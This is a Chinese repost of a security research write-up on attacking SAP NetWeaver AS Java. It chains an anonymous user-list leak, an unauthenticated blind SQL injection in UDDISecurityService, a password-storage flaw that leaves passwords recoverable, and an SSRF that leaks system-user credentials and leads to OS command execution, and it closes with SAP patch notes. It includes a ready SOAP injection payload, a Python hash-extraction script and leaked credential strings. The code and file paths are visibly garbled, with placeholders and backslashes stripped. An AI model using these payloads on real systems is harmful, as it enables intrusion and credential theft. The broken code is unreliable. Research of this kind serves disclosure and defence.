當前位置:
首頁 > 新聞 > 進階版的SAP 滲透測試:漏洞搜索的範圍

進階版的SAP 滲透測試:漏洞搜索的範圍

在本文中,我們將證明,有時傳統方法並不完全適用。如果SAP測試人員知道SAP存在許多漏洞,並從Internet上下載了免費工具,他們並不能入侵系統,因為一些公司已經應用了最新的補丁,並且他們至少不存在一些最常見的問題(例如,網關繞過、動詞篡改、或默認密碼)。

在其中一個評估過程中,我們明白,所有現有的漏洞利用並不起作用,所有默認密碼變了,似乎是不可能入侵這些SAP系統。

本文將告訴我們如何打破防火牆。考慮以下幾點以幫助執行完美的SAP滲透測試:

1. 為了找到0-day漏洞,SAP servlet以及應用程序應被視為一種優先選擇;

2. SAP系統中應用程序的權利;

3. SAP系統中SQL盲注的特點;

4. 許可權提升選項;

5. 如何從應用程序訪問級別執行任意代碼以及獲取對操作系統的全面訪問。

如果沒有公共安全漏洞,我們就尋找0-day漏洞。

要搜索SAP系統中的漏洞,首先需要考慮SAP系統中存在哪些類型的應用程序。SAP系統安裝了以下幾種類型的web應用程序並與系統一起運行:

- servlet;

- webdynpro;

- 門戶應用程序;

- 服務;

- 還有擴展,核心lib,介面,但是它們不會被考慮在內。

服務應用程序SAP中的servlet、應用程序、webdynpro和門戶應用程序都安裝在文件夾C:usrsap\%SID%J00j2eeclusterapps,服務應用程序安裝在C:usrsap%SID%J00j2eeclusterbinservices,這裡的%SID%是SAP系統的SID。在我們的示例中,SID就是-DM0。

每個應用程序都有由開發人員預定義的許可權。只有你能夠使用具有這些特權的應用程序。默認情況下,SAP NetWeaver AS Java有4種類型的權利:

1. 無安全性——所有人可用,不需要授權的程序;

2. 低安全性——通過認證的用戶可以使用的應用程序;

3. 中等安全性——內容管理用戶或管理系統可用的應用程序;

4. 高安全性——對於內容管理用戶或管理系統可用的中等安全性的應用程序。

所有應用程序的訪問許可權都是在webdynpro.xml、web.xml配置文件中描述的,並且對門戶app來說,都是portlet.xml。

正如已經提到的,我們主要對不需要身份驗證的應用程序感興趣。要找到這種應用程序,我們需要進行簡單的文件搜索來獲取應用程序的列表。

在幾分鐘內就可以找到許多滿足搜索條件的應用程序,其中之一是組件tc~rtc~coll.appl.rtc~wd_chat。其配置文件位於以下地址:

C:usrsap%SID%J00j2eeclusterappssap.comtc~rtc~coll.appl.rtc~wd_chatservlet_jspwebdynproresourcessap.comtc~rtc~coll.appl.rtc~wd_chatrootWEB-INFwebdynpro.xml

並且代碼如下:

從描述中可以看到,該組件有兩個可以從瀏覽器調用的應用程序:聊天和消息。因此,應用程序可以從下面的地址獲得:

1)http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#

2)http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#

SAP信息披露

讓我們打開聊天app,查看它的功能。

按照該地址,一個匿名的servlet被打開了,其功能是寫消息。

如果我們點擊「Add participant」按鈕,我們將打開一個窗口,該窗口的功能是可以將用戶添加到聊天功能中,以便編寫消息。

如果我們可以選擇一個用戶,那就意味著我們可以得到所有用戶的列表,並且得到這些用戶的登錄名。

很快,我們便找到了一個名為John的管理員的登錄名,但是我們只需要知道賬戶密碼。

SAP 的SQL注入

在對匿名servlet中的漏洞進行搜索過程中,我們發現了一個功能組件 tc~uddi。該組件中有三種服務。

其中最有趣的是C:usrsapDM0J00j2eeclusterappssap.comtc~uddiservlet_jspUDDISecurityService。

如果我們打開保存在C:usrsapDM0J00j2eeclusterappssap.comtc~uddiservlet_jspUDDISecurityServicerootWEB-INFweb.xml中的配置文件,我們將看到如下圖所示的內容。

「servlet-class」欄位表明該servlet使用SOAP的方法傳輸和接收數據,並且該servlet被叫做UDDISecurityImplBean。當在瀏覽器中打開地址http://nw74:50000/UDDISecurityService/UDDISecurityImplBean時,顯示以下信息:

UDDISecurityImplBean servlet不接受GET請求,並且它足以將「?wsdl」鍵添加到URL,以便理解發送哪一個POST請求。在這裡,我們得到了UDDI Security Service(安全服務)的wsdl描述。

要將一個wsdl文件轉換成soap請求,我們可以使用帶有wsdl擴展名的burp。

當我們向SAP伺服器發送一個SOAP請求,然後調用帶有permissionId參數的deletePermissionById函數時,我們可以看到伺服器發送一個請求,然後用200個代碼進行響應。

這意味著伺服器已經成功地處理了請求。為了理解在程序中構建了什麼邏輯,我們需要在伺服器上找到源代碼。組件的根目錄C:usrsapDM0J00j2eeclusterappssap.comtc~uddi是這樣的:

EJBContainer文件夾通常存儲在組件上下文中使用的JAR文件。這一次,伺服器有一個JAR文件,該JAR文件有以下路徑C:usrsapDM0J00j2eeclusterappssap.comtc~uddiEJBContainerapplicationjarstc~esi~uddi~server~ejb~ejbm.jar.。

要獲得Java程序的源代碼,只需使用JD-GUI 反編譯器。一旦打開該jar文件,該程序中實現的類就會顯示出來:

非常明顯,在程序中有UDDISecurityBean、AppluPermission和DeletePermissionById類。讓我們來分析一下UDDISecurityBean類:

在這裡,它表示deletePermissionById的實現,以及applyPermission函數在PermissionsDao中得到了描述。

這是一種典型的SQL注入,不需要進行身份驗證。讓我們在SOAP請求中發送我們最喜歡的引號,看看我們會得到什麼響應。

響應中沒有出現錯誤,現在讓我們看看日誌資料庫中是什麼,以及最後一個條目是什麼。

在默認情況下,SAP程序的所有日誌都存儲在C:usrsapDM0J00j2eeclusterserver0log,而資料庫的日誌文件存儲在C:usrsapDM0J00j2eeclusterserver0logsystemdatabase_00.0.log。

所有內容都得到了確認,現在我們已經在SAP NetWeaver AS Java中進行了SQL注入。因此,為了攻擊SAP系統,有必要從資料庫中獲取管理員密碼散列或任意其他用戶的一個密碼散列。現在我們採取下一步行動。即使我們有一個密碼散列,我們如何對其進行解密呢?

加密問題

為了使用SQL注入獲取密碼,首先,我們需要知道哪個表存儲密碼。由於我的資料庫是Sybase ASE,為了連接到該數據,我們可以用標準的isql實用程序。

為了在控制台模式下連接到資料庫,我們打開一個命令行窗口並運行以下命令:

我們有帶有DM0 SID的SAP伺服器,並且後面會用到資料庫DM0。

根據SAP文檔,SAP AS Java用戶密碼存儲在UME_STRINGS表中的用戶管理引擎(UME)中。在UME_STRINGS表中有兩個主要欄位:PID和VAL。PID欄位保存Administrator ID,而VAL保存密碼並用SHA作為前綴進行加密。

結果表明,該請求如下:SELECT PID、 VAL FROM SAPSR3DB.UME_STRINGS WHERE PID LIKE 『%Administrator%』 and VAL LIKE 『%SHA%』

以下是程序操作的結果:

PID是 UACC.PRIVATE_DATASOURCE.un:Administrator

VAL是MTIzUVdFYXNk88FxuYamodVV2ycvIqBU80lPPUD8twAOhZ/AUSezf4Reou4uFpqth9lDpefHZ1JOuzfILlHYQv4LhheyzoQMAng5pOkvHz5bZXJ+tiSGpsyrju3UtBkmRQ==

很容易猜測,這裡使用的SHA-512哈希表被計算了1萬次。有人可能會說,它阻礙了那些試圖強力破解該散列的人,但在這裡沒有。

下面是我們通過解碼base64得到的。

結果是SAP犯了一個錯誤,密碼以base64保存是不安全的。但是,在這種關鍵的地方,怎麼會沒有注意到這個錯誤呢?

經過幾個小時的研究,我終於找到了負責加密和密碼存儲的函數。該JAR文件對密碼的有效性進行加密和檢查:

為了在該文件中找到必要的類,在JD-GUI中查找數據「SHA-512」已經足夠。

完成了。發現了PasswordHash.class。

在該類中,正有我們所需要的。

該類的主函數可以很方便地理解哈希函數是如何工作的。

首先,它是PasswordHash類的初始化。

其次,調用了函數 .getHash(); 。

從87到113的行表示變數正在被檢查和初始化,第114行表示對createHashWithIterations函數的調用,該調用需要一個24個字元長度的數據集。為了證明該特性,我們將在調試器中為其編寫一個包裝器,並查看發送了哪些數據。

下面是負責在SAP中對密碼進行散列操作的類的完整代碼,讓我們運行它,並看看它是如何工作的。

我們選擇了一個asdQWE123組合作為密碼。

值得注意的是,在createHashWithIteractions函數中,對2個特殊參數進行初始化。它們分別是「output」和「pass_n_salt」,它們被傳輸到最終的哈希函數,hashWithIteractions。

下面提供了關於hashWithIteractions函數的更多細節。

該鍵執行的與哈希操作相關的所有工作都在40-45行中顯示。框圖說明了這些行進行的工作。

很明顯,從流程圖中便能發現開發人員犯了一個錯誤,並錯誤地使用了哈希函數。他們使用salt代替密碼,當哈希操作在9999循環中執行時,salt(密碼)被添加到一個「output」變數的開頭。該循環完成了它的工作,密碼仍然保存在明文text.QED中。

現在,我們將回到SQL注入,並自動化從資料庫獲取密碼的過程。

SAP 滲透-開發

對於SQL注入的開發,可以使用下面我們新獲得的知識:

- SQL注入是盲目的。

- SQL不支持像SLEEP這樣的函數調用,只支持SELECT。

- 散列存儲在VAL欄位中的UME_STRINGS中,並且PID欄位存儲一個值。

PRIVATE_DATASOURCE.un:Administrator的Administrator是用戶登錄,其用戶名可以不同,例如,j2ee_admin、admin。

我們一步一步地解決這些問題。

由於SQL注入是盲的,所以我們需要找到VAL值。事實證明,主查詢有以下形式:

select VAL from UME_STRINGS where UME_STRINGS.PID like "%PRIVATE_DATASOURCE.un:Administrator%" and UME_STRINGS.VAL like "%SHA-512%"

由於連接器不支持SLEEP函數或其他用於將SQL盲注變成基於時間的函數,所以我找到了一個存儲大數據的表。

SQL資料庫被要求使用一個有效的VAL值,發出一個延遲的請求,我決定使用表的乘法來在伺服器上創建一個弱的1秒負載。這個表被稱為J2EE_CONFIGENTRY,而轉換後的查詢如下:

select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like "%PRIVATE_DATASOURCE.un:Administrator%" and UME_STRINGS.VAL like "%SHA-512%"

下面是兩個查詢。我在第一個問題上故意犯了一個錯誤,該查詢花費了15毫秒,而第二個查詢則花費了321毫秒。

如你所見,可以將此查詢自動化,以便從資料庫中檢索散列數據。

SAP滲透 -自動化

對於自動化,我們有以下基本的查詢:

POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0

SOAPAction:

Content-Type: text/xml;charset=UTF-8

Host: nw74:50000

Content-Length: 500

1" AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like "%PRIVATE_DATASOURCE.un:Administrator%" and UME_STRINGS.VAL like "%SHA-512%") AND "1"="1

散列可能由以下字元組成:0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

只要密碼散列是salt,它的長度是24個字元,我們只需要以base64格式獲得散列的第一個24*3字元。

查看完整的Python代碼,用於在下一頁中提取散列。

import string, requests, argparse

_magic = ""

_wrong_magic = ""

_xml = "rnrnrnrn

1" AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like "%PRIVATE_DATASOURCE.un:Administrator%" and UME_STRINGS.VAL like "%%") AND "1"="1rnrnrn"

host = ""

port = 0

_dictionary = string.digits + string.uppercase + string.lowercase

def _get_timeout(_data):

return requests.post("http://:/UDDISecurityService/UDDISecurityImplBean".format(host,port),

headers={

"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0",

"SOAPAction": "",

"Content-Type": "text/xml;charset=UTF-8"

},

data=_xml.format(_data)).elapsed.total_seconds()

if __name__ == "__main__":

parser = argparse.ArgumentParser()

parser.add_argument("--host")

parser.add_argument("--port")

parser.add_argument("-v")

args = parser.parse_args()

args_dict = vars(args)

host = args_dict["host"]

port = args_dict["port"]

print "start to retrieve data from the table UMS_STRINGS from server using CVE-2016-2386 exploit ".format(host)

hash = _magic

print "this may take a few minutes"

for i in range(24):

for _char in _dictionary:

if not (args_dict["v"] is None):

print "checking ".format(hash +_char)

if _get_timeout(hash +_char)>1.300:

hash += _char

print "Found " + hash

break

因此,我們得到以下的價值:

如果我們執行base64解碼,我們將得到純文本的密碼。

許可權提升,遠程命令執行

使用接收到的密碼和管理員的用戶名,我們可以登錄並訪問/irj/portal。

然而,這並不是全部。讓我們嘗試提升許可權並獲得操作系統的訪問權。在SAP中,可以查看以下地址可用的系統日誌:

http://nw74:50000/webdynpro/dispatcher/sap.com/tc~lm~itsam~ui~lv~client_ui/LVApp?conn=view[Last%2024%20Hours%20(Java)]#

LogViewer具有連接到遠程主機的功能,它可以用於SSRF攻擊。

在打開的窗口中,我們點擊「connect to host」,並編寫一個伺服器地址,通過該地址我們將偵聽埠50013。

伺服器顯示SAP希望通過發送以下查詢來連接到我們:

你可以看到SAP使用Basic授權試圖連接到邪惡主機,該主機正使用一些內部數據。

ezIyMUJBNDRGLUY4OEUtNDE2Ni1CQjJCLUUyNTQxOTEwQjg2QX06eENJUEhNSUNITUlDQURMQk1KT0pER0dKRk9MRkdCRU5PeA==

在2016年,我們做了一項研究,描述了這個系統用戶,並展示了該用戶如何幫助利用競態條件獲得匿名RCE。

:xCIPHMICHMICADLBMJOJDGGJFOLFGBENOx

這個用戶的登錄是硬編碼的,但是密碼是隨機生成的。這個用戶可以使用帶有OSexecute函數調用的SOAP查詢來執行系統命令。該請求如下:

因此,我們可以在目標系統上執行代碼。

結論

為了防止漏洞利用,你必須安裝SAP發布的以下安全記錄:

- 2256846,解決使用聊天工具出現的信息披露的問題;

- 2101079,修復匿名SQL注入;

- 2191290,對加密問題的修復;需要注意的是,安裝了本更新之後,你必須更改在資料庫中存儲的純文本密碼;

- 2240946,是對系統用戶密碼的一個修復,它能夠在伺服器上執行命令。

還沒結束!此外,我們將檢查SAP發布的補丁,並檢查在安裝上述補丁後是否成功修復了漏洞。因此,請保持聯繫,並訂閱我們的時事通訊,在Twitter、Facebook和LinkedIn上關注我們,並從ERPScan研究團隊中找到更多的研究案例。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

鍵盤記錄器用法新姿勢:挖礦

TAG:嘶吼RoarTalk |